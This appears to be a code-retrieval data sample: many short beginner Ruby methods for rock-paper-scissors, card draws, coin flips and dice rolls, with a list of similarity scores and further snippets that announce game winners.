"def rps\n c = ['r','p','s'].sample\n puts \"choose r, p or s\"\n u = gets\n puts \"comp chose #{c}\"\n if u==c \n puts \"you tie \"\n elsif u==\"r\"&&c==\"p\"||u==\"p\"&&c==\"s\"||u==\"s\"&&c==\"r\"\n puts 'you lose'\n else \n puts \"you win\"\n \n end\n end",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else \n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def computer_ai_3\n rock = 0\n paper = 0\n scissors = 0\n most_played = \"r\"\n choice = \"p\"\n\n # Find which moves have been played the most.\n \n @human_moves.each do |move|\n if move == 'r'\n rock = rock + 1\n elsif move == 'p'\n paper = paper + 1\n elsif move == 's'\n scissors = scissors + 1\n end\n end\n\n if rock > paper && rock > scissors\n most_played = \"r\"\n elsif paper > rock && paper > scissors\n most_played = \"p\"\n elsif scissors > paper && scissors > rock \n most_played = \"s\"\n else\n #choose random if they tie\n choices =['r', 'p', 's']\n most_played = choices.sample\n end\n\n #play the hand that beats the human move.\n if most_played == 'r'\n choice = 'p'\n elsif most_played == 'p'\n choice = 's'\n elsif most_played == 's'\n choice = 'r'\n end\n\n return choice\n end",
"def rps(fist1, fist2)\n if fist1 == 'rock'\n (fist2 == 'paper') ? 'paper' : 'rock'\n elsif fist1 == 'paper'\n (fist2 == 'scissors') ? 'scissors' : 'paper'\n else\n (fist2 == 'rock') ? 'rock' : 'scissors'\n end\nend",
"def random_statement(r)\n\tcase r.rand(6).to_i\n\twhen 0\n\t\treturn \" :D\"\n\twhen 1\n\t\treturn \" Yawn. I'm tired...\"\n\twhen 2\n\t\t#Dice because it was randomly generated\n\t\treturn \" 🎲🎲🎲\"\n\twhen 3\n\t\treturn \" D:\"\n\twhen 4\n\t\treturn \" Hm.\"\n\telse\n\t\treturn \" ~_~\"\n\tend\nend",
"def choice\n rand\n end",
"def rps(p1, p2)\n if p1 == \"scissors\" && p2 == \"paper\"\n return \"Player 1 won!\"\n elsif p1 == \"scissors\" && p2 == \"rock\"\n return \"Player 2 won!\"\n elsif p1 == \"scissors\" && p2 == \"scissors\"\n return \"Draw!\"\n end\n\n if p1 == \"paper\" && p2 == \"paper\"\n return \"Draw!\"\n elsif p1 == \"paper\" && p2 == \"rock\"\n return \"Player 1 won!\"\n elsif p1 == \"paper\" && p2 == \"scissors\"\n return \"Player 2 won!\"\n end\n\n if p1 == \"rock\" && p2 == \"paper\"\n return \"Player 2 won!\"\n elsif p1 == \"rock\" && p2 == \"rock\"\n return \"Draw!\"\n elsif p1 == \"rock\" && p2 == \"scissors\"\n return \"Player 1 won!\"\n end\n\nend",
"def random_card\r\nsuit = [' of hearts', ' of spades', ' of diamonds', ' of clubs']\r\nrank = [2, 3, 4, 5, 6, 7, 8, 9, 10, 'Jack', 'Queen', 'King', 'Ace']\r\n\tcard_rank = rank[rand(13)]\r\n\tcard_suit = suit[rand(4)]\r\n\tcard = card_rank.to_s + card_suit\r\n card\r\nend",
"def play\n @play_array = [\"rock\", \"paper\", \"scissors\"]\n @play_array.sample\n end",
"def play_paper\n @computer_move = [\"rock\",\"paper\",\"scissors\"].sample\n if @computer_move == \"paper\"\n @outcome = \"tie\"\n elsif @computer_move == \"scissors\"\n @outcome = \"lose\"\n else\n @outcome = \"win\"\n end\n render(\"games/play_paper.html.erb\")\n end",
"def random_computer_input\n ['R', 'S', 'P'].shuffle!.last\nend",
"def menu\n puts \"Select An Option \\n1) Rock \\n2) paper \\n3) Scissors\"\n u = gets.strip.to_i\n c = rand(1..3)\n\n if u == c\n puts \"tie\"\n elsif u == 1 && c == 3 || u == 2 && c == 1 || u == 3 && c == 2\n puts \"You win!\"\n else\n puts \"You lose!\"\n end\nend",
"def win(pick_w)\n case pick_w \n when 'r' \n puts \"You: Rock | Me: Scissors\"\n when 'p'\n puts \"you: Paper | Me: Rock\"\n when 's'\n puts \"you: Scissors | Me: Paper\"\n end\nend",
"def rps(p1, p2)\n return 'Player 1 won!' if p1 == 'scissors' && p2 == 'paper'\n return 'Player 1 won!' if p1 == 'paper' && p2 == 'rock'\n return 'Player 1 won!' if p1 == 'rock' && p2 == 'scissors'\n return 'Draw!' if p1 == p2\n # Otherwise player 2 wins...\n 'Player 2 won!'\nend",
"def starter\n puts (\"Let's define who will start, throwing a dice. Press enter to do it.\").red\n gets.chomp\n the_starter = rand(1..2)\n if the_starter == 1\n puts \"......... tada ! #{@player1.name.yellow} will play first.\"\n else\n puts \"......... tada ! #{@player2.name.yellow} will play first.\"\n end\n return the_starter\n end",
"def user_plays_rock\n #we keep as much of our ruby code here as possible\n \n # we first create an array of computer moves\n @computer_move_list = [\"rock\", \"paper\", \"scissors\"]\n \n #randomly choose computer move\n @computer_move = @computer_move_list.sample\n \n # Logic for moves and results\n\n #initialize result as nil\n @rock_game_result = nil\n \n if (@computer_move == \"rock\")\n @rock_game_result = \"We tied!\"\n elsif (@computer_move == \"paper\")\n @rock_game_result = \"We lost!\"\n else\n @rock_game_result = \"We won!\"\n end\n \n render(\"move_templates/played_rock.html.erb\")\n end",
"def choose\n self.choice = weighted_random_selection\n\n case choice\n when 'rock' then self.move = Rock.new\n when 'paper' then self.move = Paper.new\n when 'scissors' then self.move = Scissors.new\n when 'lizard' then self.move = Lizard.new\n when 'spock' then self.move = Spock.new\n end\n end",
"def game\n puts \"\\nTake your pick: (R)ock, (P)aper, (S)cissors\"\n sleep(1)\n puts \"\\nShoot!\"\n\n computer = \"rps\"[rand(3)].chr\n player = gets.chomp.downcase\n case [player, computer]\n when ['r','s'],['s','p'],['p','r']\n puts \"\\nWIN\"\n puts \"\\nThe computer chose #{computer}.\"\n roundcount\n again\n when ['r','r'],['p','p'],['s','s']\n puts \"\\nTIE\"\n puts \"\\nThe computer chose #{computer}.\"\n roundcount\n again\n when ['s','r'],['p', 's'],['r', 'p']\n puts \"\\nLOSER\"\n puts \"\\nThe computer chose #{computer}.\"\n roundcount\n again\n else\n puts \"\\nARE YOU A MORON? CHOOSE R,P,S\"\n game\n end\nend",
"def pbRockSmashRandomEncounter\n if rand(100)<25\n pbEncounter(EncounterTypes::RockSmash)\n end\nend",
"def rps(c)\n puts \"enter r, p, or s\"\n o = [\"r\", \"p\", \"s\"]\n d = o.sample\n if (c == d)\n puts 'tie'\n elsif (c == \"r\" && d == \"p\" || c == \"s\" && d == \"r\" || c == \"p\" && d == \"s\")\n puts 'You Lose'\n else\n puts 'You win'\n end\nend",
"def winner(player, comp)\n return 'tie' if player == comp\n if player == 'rock'\n comp == 'scissors' ? 'player' : 'comp'\n elsif player == 'paper'\n comp == 'rock' ? 'player' : 'comp'\n else # player = scissors\n comp == 'rock' ? 'comp' : 'player'\n end\nend",
"def generate_card\n\t suit = %w[s d h c]\n\t rank = %w[1 2 3 4 5 6 7 8 9 10 j q k]\n\t #(0...size).map{ charset.to_a[rand(charset.size)] }.join\n\t suit[rand(suit.size)] + rank[rand(rank.size)] + \".gif\"\n\tend",
"def winner(p,c)\n if p == c\n output \"It's a Draw!\"\n elsif (\"#{p}\" == 'Rock' && \"#{c}\" == 'Paper')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Paper' && \"#{c}\" == 'Scissors')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Scissors' && \"#{c}\" == 'Rock')\n output \"Computer wins!\"\n else \"Player wins!\"\n end\nend",
"def encourage\n r = rand(4)\n if r == 0\n puts \"Watch out world, here comes the next great multiplier!\\n\"\n elsif r == 1\n puts \"I haven't seen these kind of skills since ancient Egypt!\\n\"\n elsif r == 2\n puts \"You're so good you could take on Einstein!\\n\"\n else\n puts\"You're really tearing it up now!\\n\"\n end\nend",
"def cointoss\n\t\t\tnumber = rand(1..10)\n\t\t\t\treturn \"heads\" if number <= 5\n\t\t\t\treturn \"tails\" if number > 5\n\t\tend",
"def randomCard\n\t\trarity = randomRarity\n\t\tgolden = randomGold(rarity)\n\t\tmakeCard(rarity, golden)\n\tend",
"def get_comp_selection\n @comp_current_throw = [\"rock\", \"paper\", \"scissors\"].sample\n end",
"def play\n @moves = ['rock', 'paper', 'scissors',]\n @player_choice = $stdin.gets.chomp.downcase\n @opponent_choice = @moves.sample\n end",
"def print_winning_message(winning_choice)\n case\n when 'Rock'\n say('Rock smashes scissors!')\n when 'Paper'\n say('Paper covers rock!')\n when 'Scissors'\n say('Scissors cuts paper!')\n end\nend",
"def random_select(str1, str2)\n return str1 if rand(10) != 0 || @mode == :testing\n return str2\n end",
"def random_select(str1, str2)\n return str1 if rand(10) != 0 || @mode == :testing\n return str2\n end",
"def random_card\n # @deck[1].rank\n size = @deck.size\n \"#{@deck[rand(size)].rank} #{@deck[rand(size)].suit}\"\n end",
"def random_name\n (1..3).map {\"\" << rand(26) + 65}.to_s\n end",
"def who_won?\n which = rand(2) + 1\n if which == 1\n return @player1\n else\n return @player2\n end\n end",
"def rpc\n puts \"Rock Paper Scissors?\"\n user_choice = gets.strip\n cpu_choice = ['rock', 'paper', 'scissors'].sample\n puts cpu_choice\n if user_choice === cpu_choice\n puts 'Tie'\n else\n case user_choice\n when 'rock'\n result = (cpu_choice === 'scissors') ? 'Win' : 'Lose'\n puts result\n when 'paper'\n result = (cpu_choice === 'rock') ? 'Win' : 'Lose'\n puts result\n when 'scissors'\n result = (cpu_choice === 'paper') ? 'Win' : 'Lose'\n puts result\n else\n user_choice\n end\n end\nend",
"def win?(first, second)\n first == 'rock' && second == 'scissor' ||\n first == 'paper' && second == 'rock' ||\n first == 'scissor' && second == 'paper'\nend",
"def get_random_choice\n choice = @symbol_list[rand(5)]\n return choice\n end",
"def random_skill\n rand(70..90)\nend",
"def random_player \n\t\tsalida_aleatoria = rand(1..3)\n\t\tsalida_aleatoria\n\tend",
"def determine_who_scored(team1, team2, scores)\n if rand(2) == 1\n scores[0] += 10\n player = team1[rand(team1.size)]\n puts \"#{player} from team 1 scored!\"\n else\n scores[1] += 10\n player = team2[rand(team2.size)]\n puts \"#{player} from team 2 scored!\"\n end\nend",
"def computer_turn\n CHOICES.sample\nend",
"def scoring \n\t\tscore = rand(10)\n\t\tputs \"And the score is #{score}.\"\n\tend",
"def coin_flip\n return (rand(1..2) == 1 ? \"HEADS\" : \"TAILS\")\nend",
"def random_role\n ['admin', 'player'].sample\n end",
"def get_random_rating\n ratings = [\n ['Low Unsatisfactory', 2], \n ['High Unsatisfactory', 3], \n ['Low Satisfactory', 10], \n ['Mid Satisfactory', 15], \n ['High Satisfactory', 20], \n ['Low Advanced', 25], \n ['High Advanced', 25]\n ]\n wChooseUsingRand(@rand, ratings)\n end",
"def rand_let options={}\r\n\tuppercase = random(0, 2) == 1\r\n\tuppercaseLet = random(65, 91).chr\r\n\tletter = (uppercase) ? (uppercaseLet) : (uppercaseLet.downcase) \r\n\tletter\r\nend",
"def rating\n rand(40..140).to_s\n end",
"def start_game\n\nai = ['R','P','S'].sample\n\nprompt(\"Choose paper(p), rock(r) or scissor(s)\")\nhuman = gets.chomp.upcase\n\n case\n when human == \"P\" && ai == \"P\"\n prompt(\"You chose Paper and I chose Paper: Tie\")\n when human == \"R\" && ai == \"R\"\n prompt(\"You chose Rock and I chose Rock: Tie\")\n when human == \"S\" && ai == \"S\"\n prompt(\"You chose Scissors and I chose Scissors: Tie\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose paper and I chose Rock, you win!\")\n when human == \"R\" && ai == \"S\"\n prompt(\"You chose Rock and I chose Scissors, You win!\")\n when human == \"S\" && ai == \"P\"\n prompt(\"You chose Scissors and I chose Paper, You win!\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose Paper and I chose Rock, You win! \")\n when human == \"S\" && ai == \"R\"\n prompt(\"You chose Scissors and I chose Rock, I win!\")\n when human == \"P\" && ai == \"S\"\n prompt(\"You chose Paper and I chose Scissors, I win\")\n when human == \"R\" && ai == \"P\"\n prompt(\"You chose Rock and I chose Paper, I win!\")\n end\nend",
"def random_string\n\t# generate a bucket of chars for randomization\n\tbucket = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten\n\t # pick random chars from the bucket and return a 255 char string\n\treturn (0...255).map{ bucket[rand(bucket.length)] }.join\nend",
"def random\n result = [true, false].sample\n puts result\n if result == true\n puts 'sí'\n elsif result == false\n puts 'no'\n else\n puts 'error'\n end\nend",
"def get_random_charter_status_type(random)\n DataUtility.select_random_from_options(random, [:OPEN_ENROLLMENT, :NOT_A_CHARTER_SCHOOL])\n end",
"def loss(pick_l)\n case pick_l \n when 'r' \n puts \"You: Rock | Me: Paper\"\n when 'p'\n puts \"you: Paper | Me: Scissors\"\n when 's'\n puts \"you: Scissors | Me: Rock\"\n end\nend",
"def random_plate\n [*('a'..'z'), *('A'..'Z')].sample(5).join\n end",
"def random_flag\n ['au', 'ca', 'gb', 'gb', 'gb', 'nz', 'us', 'us', 'us'].sort { rand <=> rand }.first\n end",
"def winner?(player1_weapon,player2_weapon)\n if player1_weapon == \"rock\" && player2_weapon == \"scissors\"\n return 1\n elsif player1_weapon == \"paper\" && player2_weapon == \"rock\"\n return 1\n elsif player1_weapon == \"scissors\" && player2_weapon == \"paper\"\n return 1\n elsif player2_weapon == \"rock\" && player1_weapon == \"scissors\"\n return 2\n elsif player2_weapon == \"paper\" && player1_weapon == \"rock\"\n return 2\n elsif player2_weapon == \"scissors\" && player1_weapon == \"paper\"\n return 2\n elsif player1_weapon == player2_weapon\n return nil\n end\nend",
"def get_winner(comp,user)\n if (comp == user) \n puts \"It was a tie!\"\n elsif (comp ==\"rock\" && user == \"scissors\") || (comp ==\"paper\" && user == \"rock\") || (comp ==\"scissors\" && user == \"paper\")\n puts \"The computer wins!\"\n elsif ( comp == \"scissors\" && user ==\"rock\") || (comp == \"rock\" && user ==\"paper\") || (comp == \"paper\" && user ==\"scissors\")\n puts \"You win!\"\n else \n \tputs \"You did not pick either of the choices! Let's try this again.\" \n \tplay_game\n end \nend",
"def pick_player_card\n # TODO: Use Random to get a new random card\n rand(1..11)\nend",
"def coin\n options = [\"Heads\", \"Tails\"]\n pc_choice = options.sample\n puts \"The computer flipped a coin. The computer flipped #{pc_choice.upcase}.\"\nend",
"def chance(c)\n return rand < c\nend",
"def tenders_flip()\n\tif Random.rand(2) == 0 #achieves 50/50 probability\n\t\t\"It's Chicken Tenders Day!\" \n\telse \n\t\t\"Nope.\"\n\tend\nend",
"def roll\n rand(sides)+1\n end",
"def get_player_choice()\n\n puts \"[1] - rock\\n[2] - paper\\n[3] - scissors\\n\\n\"\n\n\n print \"Choose > \"\n\n inp = gets.chomp()\n\n while true\n\n case inp\n\n when \"1\"\n\n return \"rock\"\n \n when \"2\"\n\n return \"paper\"\n\n when \"3\"\n \n return \"scissors\"\n \n else\n puts \"[!] Option not found !\\n\"\n print \"Choose > \"\n\n inp = gets.chomp()\n \n end\n\n end\n\n end",
"def R\r\n randomnums = Random.new\r\n roomn = randomnums.rand(1..100) \r\n if roomn>70\r\n puts \"NO, YOU MUST STAND AND FIGHT!\"\r\n else\r\n puts (\"WHICH WAY DO YOU WANT TO FLEE?\")\r\n send(gets.strip.to_sym)\r\n return \"ROOM\"\r\n end\r\nend",
"def choose\n choices = CHOICES.dup\n choices.fill('scissors', 5, 10).fill(%w(paper lizard spock), 15, 2).flatten!\n self.move = choices.sample\n end",
"def gameLogic(option)\n newOption = option.downcase \n playersChoice = newOption[0]\n computer = self.random\n \n p \"Computer Chose: #{computer}\"\n if playersChoice == computer[0]\n return 'tie'\n elsif playersChoice == 'r' && computer[0] == 'p'\n return false \n elsif playersChoice =='s' && computer[0] = 'r'\n return false\n elsif playersChoice == 'p' && computer[0] == 's'\n return false\n else\n return true\n end\n end",
"def roll\n return rand(@sides) + 1 ## roll_value = rand(@sides) + 1\n end",
"def roll\n return rand(@sides) + 1 ## roll_value = rand(@sides) + 1\n end",
"def rock_paper_scissors_game\n \n # Creates What hand (rock, paper, scissors) that the cpu uses\n def cpu_answer\n cpu_answer = rand(3)\n if cpu_answer == 0\n cpu_answer = 'Rock'\n elsif cpu_answer == 1\n cpu_answer = 'Paper'\n elsif cpu_answer == 2\n cpu_answer = 'Scissors'\n end\n end\n\n # Compares your hand and computers hand to see who won or tied\n # if tied will run the program again\n def winner(answer, computers_answer)\n if (answer.downcase == 'rock') && (computers_answer.downcase == 'paper')\n puts 'YOU LOSE'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'rock')\n puts 'WINNER'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'scissors')\n puts 'You Lose'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'paper')\n puts 'WINNER'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'rock')\n puts 'You Lose'\n elsif (answer.downcase == 'rock') && (computers_answer.downcase == 'scissors')\n puts 'Winner'\n else\n puts 'You both tied. Go again.'\n rock_paper_scissors_game\n exit\n end\n end\n \n # Asks if you want to play again after a winner is decided\n def play_again(play_again_response)\n while play_again_response.downcase != 'no'\n puts 'Do you want to play another round of Rock, Paper, Scissors? Yes or No?'\n play_again_response = gets.chomp\n if play_again_response.downcase == 'yes'\n puts \"OK! Lets play again!\"\n rock_paper_scissors_game\n exit\n elsif play_again_response.downcase == 'no'\n else\n puts 'You enetered '+play_again_response.capitalize+' which isnt Yes or No. Please type Yes or No if you want to play again.'\n play_again_response = gets.chomp\n end\n end\n end\n\n puts 'Rock, Paper, Scissors, Shoot!!!'\n puts 'What do you choose, Rock, Paper, or Scissors?'\n answer = gets.chomp\n\n # Gets what the user is picking for his hand (rock, paper, or scissors)\n while answer != nil\n if (answer.downcase == 'rock') || (answer.downcase == 'paper') || (answer.downcase == 'scissors')\n break\n else\n puts 'You entered '+answer.capitalize+' which isn\\'t one of the following words, Scissors, Paper, or Rock. Please try again.'\n answer = gets.chomp\n end\n end\n\n computers_answer = cpu_answer\n puts 'You chose '+answer.capitalize+' and the computer chose '+computers_answer+'!'\n winner(answer, computers_answer)\n play_again('yes')\nend"
] |
[
"0.7968223",
"0.7837162",
"0.77865666",
"0.7643488",
"0.75249976",
"0.7466412",
"0.73976225",
"0.7246445",
"0.71067935",
"0.70917755",
"0.6949861",
"0.69439",
"0.6943567",
"0.6913313",
"0.6849031",
"0.6848872",
"0.6791869",
"0.6776052",
"0.6756172",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67293876",
"0.67285585",
"0.6725671",
"0.6721312",
"0.6685807",
"0.6671334",
"0.66545266",
"0.66281986",
"0.6628065",
"0.6550449",
"0.6521944",
"0.65139765",
"0.65076905",
"0.6499179",
"0.64951944",
"0.6484608",
"0.6475133",
"0.6463526",
"0.64564097",
"0.6449495",
"0.6433844",
"0.64181453",
"0.64176935",
"0.641101",
"0.63934094",
"0.63886356",
"0.63843787",
"0.6377612",
"0.63443565",
"0.6325725",
"0.62997586",
"0.62997586",
"0.62975645",
"0.6292734",
"0.6291618",
"0.6274902",
"0.627445",
"0.62688214",
"0.6263221",
"0.6262565",
"0.62532634",
"0.624932",
"0.6247822",
"0.6240092",
"0.6229246",
"0.622348",
"0.62154615",
"0.61863816",
"0.6183104",
"0.6180283",
"0.61723185",
"0.6171168",
"0.6168533",
"0.6168211",
"0.61660886",
"0.6162733",
"0.61463594",
"0.61411214",
"0.61332464",
"0.61277986",
"0.6127066",
"0.6107068",
"0.61007947",
"0.60986733",
"0.6093179",
"0.6090406",
"0.6086398",
"0.6086398",
"0.6084489"
] |
0.8771647
|
0
|
returns either "It was a tie!", "You win!", or "The computer wins!"
|
def get_winner(comp,user)
if (comp == user)
puts "It was a tie!"
elsif (comp =="rock" && user == "scissors") || (comp =="paper" && user == "rock") || (comp =="scissors" && user == "paper")
puts "The computer wins!"
elsif ( comp == "scissors" && user =="rock") || (comp == "rock" && user =="paper") || (comp == "paper" && user =="scissors")
puts "You win!"
else
puts "You did not pick either of the choices! Let's try this again."
play_game
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def overall_winner_message()\n if @score_count.get_determine_set_winner() == 1\n return \"#{@player.get_name()} won the set of games with a score of #{@score_count.get_games_won()} vs. #{@score_count.get_other_games_won()}. Both players tied #{@score_count.get_games_tied} time(s).\"\n\n elsif @score_count.get_determine_set_winner() == 2\n return \"#{@player.get_other_name()} won the set of games with a score of #{@score_count.get_other_games_won()} vs. #{@score_count.get_games_won()}. Both players tied #{@score_count.get_games_tied} time(s).\"\n \n else @score_count.get_determine_set_winner() == 0\n return \"It was a tie, guys. You're both just super duper.\"\n end\n end",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end",
"def announce_the_result\n if check_for_winner == \"Computer\"\n \"The Computer wins!\\n\"\n elsif check_for_winner == \"Player\"\n \"The Player wins!\\n\"\n elsif check_for_open_board == false\n \"It's a tie!\"\n end\n end",
"def winner\n tie_string = \"\"\n @players.each do |player|\n if @position[player] == @length\n tie_string << \"#{player}\"\n end\n end\n\n if tie_string.length > 1\n return \"no one\"\n else\n return tie_string[0]\n end\n\n end",
"def winner(user, computer)\r\n winner = \"\"\r\n if (user == 'p' && computer == 'r')||\r\n (user == 's' && computer == 'p') ||\r\n (user == 'r' && computer == 's')\r\n winner = \"You\"\r\n elsif (computer == 'p' && user == 'r')||\r\n (computer == 's' && user == 'p') ||\r\n (computer == 'r' && user == 's')\r\n winner = \"Computer\"\r\n else\r\n winner = \"tie\"\r\n end\r\n \r\n if winner == \"tie\"\r\n puts \"It's a tie!\"\r\n else\r\n puts \"#{winner} won!\"\r\n end\r\nend",
"def print_winner\n if @winner == :c\n return \"Sorry, cat game.\"\n else\n if @player1.mark == @winner\n return \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n return \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n return \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def determineWinner\n if @botChoice == @playerChoice\n puts \"It's a tie! Redo round:\"\n elsif (@playerChoice == \"paper\" and @botChoice == \"rock\") or \\\n (@playerChoice == \"scissors\" and @botChoice == \"paper\") or \\\n (@playerChoice == \"rock\" and @botChoice == \"scissors\")\n @roundsWon += 1\n @roundsLeft -= 1\n puts \"You won this round! Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n else\n @roundsLost += 1\n @roundsLeft -= 1\n puts \"You lost this round... Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n end\n end",
"def game_over_message\n return \"#{current_player.name} WIN\" if board.game_over == :winner\n return \"The game is a tie\" if board.game_over == :draw\n end",
"def p_winner(tictactoe)\n return \"Player 1\" if tictactoe.winner?(p1_moves(tictactoe))\n return \"Player 2\" if tictactoe.winner?(p2_moves(tictactoe))\n return \"Draw\" if tictactoe.draw?(p1_moves(tictactoe),p2_moves(tictactoe))\n end",
"def determine_winner\n \tif self.won?(@player_symbol) then\n \t\t@over = true\n \treturn \"Player\" \n \tend\n \tif self.won?(@computer_symbol) then\n \t\t@over = true\n \t return \"Computer\" \n \tend\n \tif self.open_spots.count == 0 then\n \t\t@over = true\n \t\treturn \"Draw\"\n \tend\n return \"\" \n end",
"def winner \n if won? \n turn_count.even? ? \"O\" : \"X\"\n end \n end",
"def output\n if player1_wins > player2_wins\n puts \"Player 1: (with a score of) #{player1_wins}\\n\\n Won this game! \\n\\nAfter #{round_number} rounds and survived #{tie} WARs.\"\n elsif player1_wins < player2_wins\n puts \"Player 2: (with a score of) #{player2_wins}\\n\\n Won this game! \\n\\nAfter #{round_number} rounds and survived #{tie} WARs.\"\n # else\n # puts \"ERRRRRRRRRROOOOOOOOOORRRRRR\"\n # puts player1_wins\n # puts player2_wins\n # puts tie\n end\n end",
"def determineWinner(p1_weapon, p2_weapon)\n\ttext = \"\"\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"scissors\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"rock\" then text = \"Tie!\" \n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"rock\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"paper\" then text = \"Tie!\"\n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"paper\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"scissors\" then text = \"Tie!\"\n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telse \n\t\ttext = \"P1 must choose Rock, Paper or Scissors.\"\n\t\tunless p2_weapon == \"rock\" || p2_weapon == \"paper\" || p2_weapon == \"scissors\"\n\t\t\ttext = text + \"\\nPlayer 2 must choose rock, paper, or scissors. Replay round.\"\n\t\tend\n\tend\n\treturn text\nend",
"def tie\n puts \"It's a draw! Nobody wins :(\"\n end",
"def winner\n if type == :basic\n basic_winner\n elsif type == :war\n war_winner\n elsif type == :mutally_assured_destruction\n \"No Winner\"\n end\n end",
"def who_won? game\n if game.winner_id == nil\n \"In Progress\"\n elsif game.winner_id == current_user.id\n \"You\"\n else\n \"CPU\"\n end\n end",
"def display_results(player, computer)\n if win?(player, computer)\n prompt 'You won!'\n elsif win?(computer, player)\n prompt 'You lost!'\n else\n prompt \"It's a tie!\"\n end\nend",
"def determine_result(player, computer)\n if win?(player, computer)\n \"Win\"\n elsif win?(computer, player)\n \"Lose\"\n else\n \"Tie\"\n end\nend",
"def print_winning_message(winning_choice)\n case\n when 'Rock'\n say('Rock smashes scissors!')\n when 'Paper'\n say('Paper covers rock!')\n when 'Scissors'\n say('Scissors cuts paper!')\n end\nend",
"def print_which_player_wins player_picked, comp_picked\n if player_picked == comp_picked\n puts \"It's a tie!\"\n elsif player_picked == \"Paper\"\n if comp_picked == \"Rock\"\n puts \"Paper wraps Rock, you win!\"\n elsif comp_picked == \"Scissors\"\n puts \"Scissors cuts Paper, you lose!\"\n end\n elsif player_picked == \"Rock\"\n if comp_picked == \"Paper\"\n puts \"Paper wraps Rock, you lose!\"\n elsif comp_picked == \"Scissors\"\n puts \"Rock crushes Scissors, you win!\"\n end\n elsif player_picked == \"Scissors\"\n if comp_picked == \"Paper\"\n puts \"Scissors cut Paper, you win!\"\n elsif comp_picked == \"Rock\"\n puts \"Rock crushes Scissors, you lose!\"\n end\n end\nend",
"def determineWinner(p1_weapon, p2_weapon)\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telse\n\t\ttext = \"Please enter rock, paper, or scissors!\"\n\tend\n\tputs text\n\treturn text\nend",
"def announce_winner\n puts \"It's a tie!\" if @turns == 0\n puts @curr_player == @player1 ? \"#{@player1.name} won the game!\" : \"#{@player2.name} won the game!\"\n end",
"def check_who_win(user_input, computer_input)\n if user_input == computer_input\n 'Haha! It is draw! You can try again!'\n elsif user_input == 'R'\n if computer_input == 'S'\n 'Wow! Rock smashes Scissors! You Win!'\n elsif computer_input == 'P'\n 'Oh! Paper covers Rock! You Lose!'\n end\n elsif user_input == 'P'\n if computer_input == 'R'\n 'Wow! Paper covers Rock! You Win!'\n elsif computer_input == 'S'\n 'Oh! scissors cuts Paper! You Lose!'\n end\n elsif user_input == 'S'\n if computer_input == 'P'\n 'Wow! Scissors cuts Paper! You Win!'\n elsif computer_input == 'R'\n 'Oh! Rock smashes Scissors! You Lose!'\n end\n end\nend",
"def compare_winner (player_choice, computer_choice)\n case \n when player_choice == \"P\" && computer_choice == \"R\"\n return \"Player\"\n when player_choice == \"R\" && computer_choice == \"S\"\n return \"Player\"\n when player_choice == \"S\" && computer_choice == \"P\"\n return \"Player\"\n when player_choice == computer_choice\n puts \"You selected the same thing as the computer. It's a tie\"\n else\n return \"Computer\"\n end\n end",
"def determine_winner\n result = @data[\"game_tags\"][\"Result\"]\n whites_result = result.split(\"-\")\n if whites_result == \"1\"\n \"White Wins!\"\n elsif whites_result == \"1/2\"\n \"It's a draw!\"\n else\n \"Black Wins!\"\n end\n end",
